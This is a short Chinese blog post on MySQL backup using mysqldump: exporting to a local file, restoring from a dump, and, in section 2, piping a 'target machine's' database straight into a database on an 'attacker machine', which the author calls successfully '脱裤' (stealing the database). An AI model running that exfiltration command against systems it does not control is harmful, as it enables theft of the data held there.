博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

如何进行数据库备份

1.将数据库,表,导出到本机
在命令行中转到mysql的bin目录下
输入命令:mysqldump -u root -p sqltest > D:\data.txt
然后再输入密码

 

然后就会成功导出到D:盘目录下

 

2.导出到其他主机上(必须开启mysql外链,注意:攻击机和目标机都要开启mysql外链)
在目标机上输入导出数据库的命令
mysqldump --default-character-set=utf8mb4 --host=192.168.0.102 -uroot -proot --opt sqltest | mysql --host=192.168.61.129 -uroot -proot --default-character-set=utf8mb4 -C daochu

 

Ps:解释一下,它是把目标机上(192.168.0.102)的'sqltest'数据库导出到攻击机(192.168.61.129)的'daochu'这个数据库中

结果:成功完成了'脱裤'

 

 

3.将备份的数据导入到mysql数据库中

如果你需要将备份的数据库导入到MySQL服务器中,可以使用以下命令,使用以下命令你需要确认数据库已经创建:

mysql -u root -p database_name < dump.txt
password *****

posted @ 2020-05-30 14:06  My_Dreams  阅读(2437)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();